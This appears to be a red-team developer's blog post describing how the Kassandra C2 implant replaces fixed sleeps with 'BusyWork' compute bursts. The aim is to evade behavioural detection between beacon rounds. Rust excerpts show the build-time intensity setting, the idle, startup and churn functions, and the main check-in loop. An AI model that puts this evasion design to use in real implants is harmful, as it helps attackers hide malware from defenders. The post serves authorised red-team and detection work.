BusyWork in Kassandra: Sleep Replacement Without Starving the C2 Loop
This post covers how Kassandra integrates BusyWork as its sleep replacement. The standalone BusyWork library is documented separately (BusyWork post). Here the focus is the agent-side wiring: three call sites with different intensity budgets, real implant data fed into each burst via .feed(), and the deliberate decision not to run BusyWork on every C2 POST.
Why a C2 Agent Cannot Just Call busywork() Everywhere
A Mythic agent has a hard constraint that a game cheat or one-shot tool does not: operators need tasking to complete. Upload and download use chunked transfers. A large BOF or loader may issue dozens of HTTP POSTs in a single task. If every POST paid a Medium or High BusyWork tax, Medium builds would sit in “submitted” for minutes while Mythic already had tasks queued.
Kassandra therefore splits BusyWork into three roles instead of sprinkling full-intensity work on every network call:
| API | Intensity | Role |
|---|---|---|
startup_delay() | Configured level | One burst before first check-in |
idle() | Configured level | One full-intensity burst between tasking rounds, then a short jittered yield |
churn() | Always Low, COMPUTE | MEMORY only | Light noise at feature boundaries |
The build parameter busywork_intensity defaults to medium and accepts off / low / medium / high / ultra. Lab builds that need fast tasking use off or low.
Build-Time Intensity Template
Intensity is not chosen at runtime by the operator mid-engagement. It is stamped into the binary at Mythic build time. config.rs holds a string placeholder that the Python builder replaces:
// From: kassandra/src/config.rs
pub static busywork_intensity: &str = "%BUSYWORK_INTENSITY%";
In builder.py, busywork_intensity is a ChooseOne build parameter with default "medium". The compile step substitutes the chosen value into the config template the same way it stamps callback host, URI, and other payload fields.
helpers.rs maps that string to an internal Level and then to BusyWork’s Intensity enum. Unknown values fall back to Medium. "off", "none", and "disabled" skip computational work entirely:
// From: kassandra/src/helpers.rs
fn level() -> Level {
match config::busywork_intensity {
"off" | "none" | "disabled" => Level::Off,
"low" => Level::Low,
"high" => Level::High,
"ultra" => Level::Ultra,
// "medium" and any unknown value default to Medium
_ => Level::Medium,
}
}
fn to_intensity(l: Level) -> Option<Intensity> {
match l {
Level::Off => None,
Level::Low => Some(Intensity::Low),
Level::Medium => Some(Intensity::Medium),
Level::High => Some(Intensity::High),
Level::Ultra => Some(Intensity::Ultra),
}
}
The Main Loop: idle() Between Rounds Only
The agent lifecycle in main.rs is short. After self-protect and optional Tailscale or S3 registration, the agent checkins and then loops: get tasking, then idle.
// From: kassandra/src/main.rs
selfprotect::set_process_security_descriptor();
// ...
helpers::startup_delay();
// Tailscale / S3 init loops also call helpers::idle() on failure
checkin::checkin();
let mut round: u64 = 0;
loop {
round += 1;
match tasking::getTasking() {
Ok(()) => { /* ... */ }
Err(e) => { /* ... */ }
}
helpers::idle();
}
idle() is the main callback-interval surface. Earlier prototypes ran three full-intensity bursts back to back. That made Medium look stuck while Mythic already had work ready. The current design runs one burst at the configured intensity, then a short jittered thread::sleep so the loop is not a pure spin and so Medium/High stay usable:
// From: kassandra/src/helpers.rs
pub fn idle() {
let l = level();
let Some(i) = to_intensity(l) else {
// off: jittered sleep only — avoids a fixed 200ms beacon cadence
std::thread::sleep(Duration::from_millis(jitter_ms(80, 280)));
return;
};
let uuid = config::UUID.read().unwrap();
black_box(
BusyWork::new(i)
.feed(uuid.as_str())
.feed(config::callback_host)
.feed(config::user_agent)
.run(),
);
// Small yield only — not a second full intensity tax.
std::thread::sleep(Duration::from_millis(jitter_ms(20, 120)));
}
When intensity is off, the agent still avoids a fixed sleep constant. It yields a random 80-280 ms via getrandom, so the beacon cadence is not a single hardcoded interval.
The black_box around run() prevents the compiler from treating the BusyWork result as dead and optimizing the call away. That matters for a crate whose entire purpose is to produce real side effects that static optimizers would otherwise discard.
startup_delay: One Burst Before First Contact
startup_delay() runs once after self-protect and before Tailscale, S3, or check-in. It uses the same configured intensity and the same feed set as idle, but without the trailing yield. Ultra and High builds intentionally wait longer before the first network contact; off skips the work entirely:
// From: kassandra/src/helpers.rs
pub fn startup_delay() {
let Some(i) = to_intensity(level()) else {
return;
};
let uuid = config::UUID.read().unwrap();
black_box(
BusyWork::new(i)
.feed(uuid.as_str())
.feed(config::callback_host)
.feed(config::user_agent)
.run(),
);
}
churn: Light Noise at Feature Boundaries
Full intensity belongs only in idle and startup_delay. Hot paths that run many times per task (filesystem ops, crypto, process list, loader stages) use churn instead:
// From: kassandra/src/helpers.rs
pub fn churn(data: &(impl FeedWork + ?Sized)) {
if level() == Level::Off {
return;
}
black_box(
BusyWork::new(Intensity::Low)
.allow(Categories::COMPUTE | Categories::MEMORY)
.feed(data)
.run(),
);
}
Three constraints keep churn from re-introducing multi-second stalls:
- Always Low, regardless of the build intensity.
- COMPUTE and MEMORY only. No filesystem, registry, network, or WinAPI categories on the hot path.
- No-op when BusyWork is off. Lab builds with
busywork=offpay nothing.
Call sites pass real work data into feed: command names from tasking, path strings, payload slices, output text, hostname and username during check-in. Without feed, BusyWork would generate isolated random buffers. With feed, the busy block processes the same variables as the surrounding feature code, which is harder for data-flow analysis to dismiss as pure noise [1].
Examples from the agent:
tasking.rschurns once per task with the command string, not once per HTTP chunk.upload.rschurns once after the full chunked write completes, not per chunk.executeBOF/executeDOTchurn on downloaded payload bytes, packed args, and output.reflective_loader.rschurns between mapping stages (image size, section count, reloc delta, entry RVA, header size).crypto.rschurns around MAC tags and IVs during encrypt/decrypt.
The Hard Rule: No BusyWork on the C2 Hot Path
transport.rs documents the constraint explicitly. Chunked file and loader transfers issue many POSTs per task. Interval noise must live between rounds, not inside each request:
// From: kassandra/src/transport.rs
fn send_request_internal(payload: &str, encode: bool) -> Result<String, Box<dyn std::error::Error>> {
// No BusyWork on the C2 hot path — chunked file/loader transfers issue many
// POSTs per task. Interval noise lives in helpers::idle() between rounds.
// ...
That single rule is what keeps Medium and High usable. Evasion work still happens: between rounds the implant burns real compute, memory, and (for full-intensity idle) broader categories depending on BusyWork’s defaults. During a multi-chunk download, the implant does not tax every POST.
Dependency Pin and Intensity Ladder
Kassandra depends on BusyWork from the bump/windows-0.61 branch so the Windows crate versions match the agent:
# From: kassandra/Cargo.toml
busywork = { git = "https://github.com/PatchRequest/BusyWork", branch = "bump/windows-0.61" }
BusyWork’s intensity ladder is an order-of-magnitude scale of task count, iteration count, buffer size, and call depth. Earlier ladder values collapsed Medium toward Low wall time; the library was fixed so Medium, High, and Ultra remain a real volume ladder rather than a flat set of caps. Kassandra’s agent code does not re-cap intensity. It trusts the library levels and only chooses where each level runs (idle / startup_delay vs always-Low churn).
Where idle() Also Appears Outside the Main Loop
idle() is not only the post-tasking yield. Check-in retries, S3 registration retries, and Tailscale init failure paths also call idle() so reconnect loops do not become a tight spin with a fixed sleep. That reuses the same interval surface operators already configured at build time.
churn during check-in feeds hostname and username so early lifecycle noise is tied to host identity strings rather than anonymous random buffers.
What This Does and Does Not Buy
Does:
- Replaces a pure sleep-based callback interval with varied work that produces real API activity and memory pressure [1][2].
- Keeps the tasking loop responsive under Medium/High by isolating heavy work to
idleand restricting hot-path noise to Low compute/memory. - Feeds implant-specific strings into BusyWork so bursts are data-dependent on the live session.
- Gives operators an explicit off switch for lab debugging without code changes.
Does not:
- Hide the fact that the process still pauses between C2 rounds. The wall time of a Medium or High idle burst is real. Defenders looking for periodic activity will still see a cadence; the claim is that the content of the gap is not a clean sleep.
- Remove all sleeps.
idleand the off-path still use short jitteredthread::sleepyields. The long fixed sleep that used to define the beacon interval is what BusyWork replaces. - Run on every network I/O. That is intentional. Putting full BusyWork on every POST would make the agent unusable under realistic chunk sizes.
Operator Defaults
| Context | Suggested intensity |
|---|---|
| Production-style builds | medium (builder default) |
| Lab / debugging tasking | off or low |
| Longer pre-check-in delay | high or ultra |
Production defaults in the public tree also set no_console=true and debug_log=false. Lab work that is validating C2 should prefer BusyWork off or low so task latency does not mask transport bugs.
Drafted with LLM assistance from the Kassandra and BusyWork source code, reviewed and verified against the actual implementation.
References
[1] PatchRequest, “BusyWork,” GitHub. https://github.com/PatchRequest/BusyWork
[2] PatchRequest, “BusyWork: Replacing Sleep with Real Work to Break Behavioral Detection,” patchi.fyi. https://patchi.fyi/blog/busywork-sleep-replacement/
[3] PatchRequest, “Kassandra,” GitHub. https://github.com/PatchRequest/Kassandra
[4] Mythic C2 Framework, “Payload Types,” GitHub. https://github.com/its-a-feature/Mythic